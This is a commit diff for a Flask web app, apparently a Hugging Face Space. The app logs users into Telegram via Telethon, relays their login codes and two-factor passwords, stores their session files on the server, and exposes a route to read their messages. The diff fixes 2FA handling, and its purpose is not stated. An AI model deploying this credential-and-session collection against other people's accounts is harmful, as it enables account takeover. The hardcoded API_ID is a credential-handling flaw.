Spaces:
Paused
Paused
Update app.py
Browse files
app.py
CHANGED
|
@@ -1,12 +1,13 @@
|
|
| 1 |
-
|
| 2 |
-
|
| 3 |
-
from telethon import events
|
| 4 |
import os
|
| 5 |
import sqlite3
|
| 6 |
-
import hashlib
|
| 7 |
-
import asyncio
|
| 8 |
from pathlib import Path
|
| 9 |
|
|
|
|
|
|
|
|
|
|
|
|
|
| 10 |
app = Flask(__name__)
|
| 11 |
|
| 12 |
API_ID = '22328650'
|
|
@@ -89,7 +90,7 @@ HTML_TEMPLATE = '''
|
|
| 89 |
</div>
|
| 90 |
<script>
|
| 91 |
let phone = '';
|
| 92 |
-
let phoneCodeHash = '';
|
| 93 |
|
| 94 |
async function startLogin() {
|
| 95 |
phone = document.getElementById('phone').value;
|
|
@@ -101,7 +102,7 @@ HTML_TEMPLATE = '''
|
|
| 101 |
const result = await response.json();
|
| 102 |
alert(result.message);
|
| 103 |
if (result.success) {
|
| 104 |
-
phoneCodeHash = result.phone_code_hash;
|
| 105 |
document.getElementById('code').style.display = 'inline';
|
| 106 |
document.getElementById('submitCode').style.display = 'inline';
|
| 107 |
}
|
|
@@ -112,7 +113,6 @@ HTML_TEMPLATE = '''
|
|
| 112 |
const response = await fetch('/login', {
|
| 113 |
method: 'POST',
|
| 114 |
headers: { 'Content-Type': 'application/json' },
|
| 115 |
-
// Pass phone_code_hash here
|
| 116 |
body: JSON.stringify({ phone, code, phone_code_hash: phoneCodeHash, step: 'code' })
|
| 117 |
});
|
| 118 |
const result = await response.json();
|
|
@@ -132,6 +132,7 @@ HTML_TEMPLATE = '''
|
|
| 132 |
const response = await fetch('/login', {
|
| 133 |
method: 'POST',
|
| 134 |
headers: { 'Content-Type': 'application/json' },
|
|
|
|
| 135 |
body: JSON.stringify({ phone, password, step: 'password' })
|
| 136 |
});
|
| 137 |
const result = await response.json();
|
|
@@ -171,51 +172,66 @@ def login():
|
|
| 171 |
phone = data.get('phone')
|
| 172 |
code = data.get('code')
|
| 173 |
password = data.get('password')
|
| 174 |
-
phone_code_hash = data.get('phone_code_hash')
|
| 175 |
step = data.get('step')
|
| 176 |
-
|
| 177 |
|
| 178 |
async def _login_async():
|
| 179 |
-
client = TelegramClient(
|
|
|
|
| 180 |
try:
|
| 181 |
if step == 'start':
|
| 182 |
await client.connect()
|
| 183 |
sent_code = await client.send_code_request(phone)
|
| 184 |
-
|
| 185 |
-
return {'success': True, 'message': 'Code sent to your Telegram', 'phone_code_hash': sent_code.phone_code_hash}
|
| 186 |
elif step == 'code':
|
| 187 |
await client.connect()
|
| 188 |
if not phone_code_hash:
|
| 189 |
-
|
| 190 |
-
|
| 191 |
-
|
| 192 |
-
|
| 193 |
-
|
| 194 |
-
|
| 195 |
-
|
| 196 |
-
|
| 197 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 198 |
elif step == 'password':
|
| 199 |
await client.connect()
|
| 200 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
| 201 |
with sqlite3.connect(DB_PATH) as conn:
|
| 202 |
c = conn.cursor()
|
| 203 |
c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
|
| 204 |
-
(str(me.id), me.username or '', phone,
|
| 205 |
conn.commit()
|
| 206 |
-
|
| 207 |
else:
|
| 208 |
-
|
| 209 |
except Exception as e:
|
| 210 |
-
|
| 211 |
-
|
| 212 |
-
return {'success': False, 'message': str(e)}
|
| 213 |
finally:
|
| 214 |
-
if client.is_connected():
|
| 215 |
await client.disconnect()
|
|
|
|
| 216 |
|
| 217 |
-
|
| 218 |
-
return jsonify(result)
|
| 219 |
|
| 220 |
@app.route('/user/<int:user_id>/messages')
|
| 221 |
def get_messages(user_id):
|
|
|
|
| 1 |
+
import asyncio
|
| 2 |
+
import hashlib
|
|
|
|
| 3 |
import os
|
| 4 |
import sqlite3
|
|
|
|
|
|
|
| 5 |
from pathlib import Path
|
| 6 |
|
| 7 |
+
from flask import Flask, jsonify, request, render_template_string, send_from_directory
|
| 8 |
+
from telethon.sync import TelegramClient
|
| 9 |
+
from telethon.errors import SessionPasswordNeededError # Импорт специфической ошибки
|
| 10 |
+
|
| 11 |
app = Flask(__name__)
|
| 12 |
|
| 13 |
API_ID = '22328650'
|
|
|
|
| 90 |
</div>
|
| 91 |
<script>
|
| 92 |
let phone = '';
|
| 93 |
+
let phoneCodeHash = '';
|
| 94 |
|
| 95 |
async function startLogin() {
|
| 96 |
phone = document.getElementById('phone').value;
|
|
|
|
| 102 |
const result = await response.json();
|
| 103 |
alert(result.message);
|
| 104 |
if (result.success) {
|
| 105 |
+
phoneCodeHash = result.phone_code_hash;
|
| 106 |
document.getElementById('code').style.display = 'inline';
|
| 107 |
document.getElementById('submitCode').style.display = 'inline';
|
| 108 |
}
|
|
|
|
| 113 |
const response = await fetch('/login', {
|
| 114 |
method: 'POST',
|
| 115 |
headers: { 'Content-Type': 'application/json' },
|
|
|
|
| 116 |
body: JSON.stringify({ phone, code, phone_code_hash: phoneCodeHash, step: 'code' })
|
| 117 |
});
|
| 118 |
const result = await response.json();
|
|
|
|
| 132 |
const response = await fetch('/login', {
|
| 133 |
method: 'POST',
|
| 134 |
headers: { 'Content-Type': 'application/json' },
|
| 135 |
+
// Убедитесь, что 'phone' отправляется снова на этапе ввода пароля
|
| 136 |
body: JSON.stringify({ phone, password, step: 'password' })
|
| 137 |
});
|
| 138 |
const result = await response.json();
|
|
|
|
| 172 |
phone = data.get('phone')
|
| 173 |
code = data.get('code')
|
| 174 |
password = data.get('password')
|
| 175 |
+
phone_code_hash = data.get('phone_code_hash')
|
| 176 |
step = data.get('step')
|
| 177 |
+
session_file_path = f"{SESSION_DIR}/{hashlib.md5(phone.encode()).hexdigest()}.session"
|
| 178 |
|
| 179 |
async def _login_async():
|
| 180 |
+
client = TelegramClient(session_file_path, API_ID, API_HASH)
|
| 181 |
+
result = {}
|
| 182 |
try:
|
| 183 |
if step == 'start':
|
| 184 |
await client.connect()
|
| 185 |
sent_code = await client.send_code_request(phone)
|
| 186 |
+
result = {'success': True, 'message': 'Code sent to your Telegram', 'phone_code_hash': sent_code.phone_code_hash}
|
|
|
|
| 187 |
elif step == 'code':
|
| 188 |
await client.connect()
|
| 189 |
if not phone_code_hash:
|
| 190 |
+
raise ValueError('phone_code_hash is missing for code step.')
|
| 191 |
+
|
| 192 |
+
try:
|
| 193 |
+
# Попытка входа с телефоном, кодом и хэшем.
|
| 194 |
+
# Если включена 2FA, это вызовет SessionPasswordNeededError.
|
| 195 |
+
me = await client.sign_in(phone=phone, code=code, phone_code_hash=phone_code_hash)
|
| 196 |
+
|
| 197 |
+
# Если вход успешен, сохраняем данные пользователя
|
| 198 |
+
with sqlite3.connect(DB_PATH) as conn:
|
| 199 |
+
c = conn.cursor()
|
| 200 |
+
c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
|
| 201 |
+
(str(me.id), me.username or '', phone, session_file_path))
|
| 202 |
+
conn.commit()
|
| 203 |
+
result = {'success': True, 'message': 'Logged in successfully'}
|
| 204 |
+
except SessionPasswordNeededError:
|
| 205 |
+
# Требуется 2FA. Telethon должен был внутренне подготовить файл сессии
|
| 206 |
+
# для последующего входа только по паролю.
|
| 207 |
+
result = {'success': False, 'password_required': True, 'message': 'Cloud password required'}
|
| 208 |
+
except Exception as e:
|
| 209 |
+
# Обработка других ошибок во время отправки кода
|
| 210 |
+
result = {'success': False, 'message': str(e)}
|
| 211 |
elif step == 'password':
|
| 212 |
await client.connect()
|
| 213 |
+
# При использовании 'password' с client.sign_in, явное указание 'phone' может помочь
|
| 214 |
+
# Telethon связать запрос с правильной текущей сессией входа
|
| 215 |
+
# или частично сохраненным состоянием файла сессии.
|
| 216 |
+
me = await client.sign_in(phone=phone, password=password) # Явно передаем phone
|
| 217 |
+
|
| 218 |
with sqlite3.connect(DB_PATH) as conn:
|
| 219 |
c = conn.cursor()
|
| 220 |
c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
|
| 221 |
+
(str(me.id), me.username or '', phone, session_file_path))
|
| 222 |
conn.commit()
|
| 223 |
+
result = {'success': True, 'message': 'Logged in with cloud password'}
|
| 224 |
else:
|
| 225 |
+
result = {'success': False, 'message': 'Invalid step'}
|
| 226 |
except Exception as e:
|
| 227 |
+
# Обработка любых неожиданных ошибок, которые не были обработаны выше
|
| 228 |
+
result = {'success': False, 'message': str(e)}
|
|
|
|
| 229 |
finally:
|
| 230 |
+
if client and client.is_connected():
|
| 231 |
await client.disconnect()
|
| 232 |
+
return result
|
| 233 |
|
| 234 |
+
return jsonify(asyncio.run(_login_async()))
|
|
|
|
| 235 |
|
| 236 |
@app.route('/user/<int:user_id>/messages')
|
| 237 |
def get_messages(user_id):
|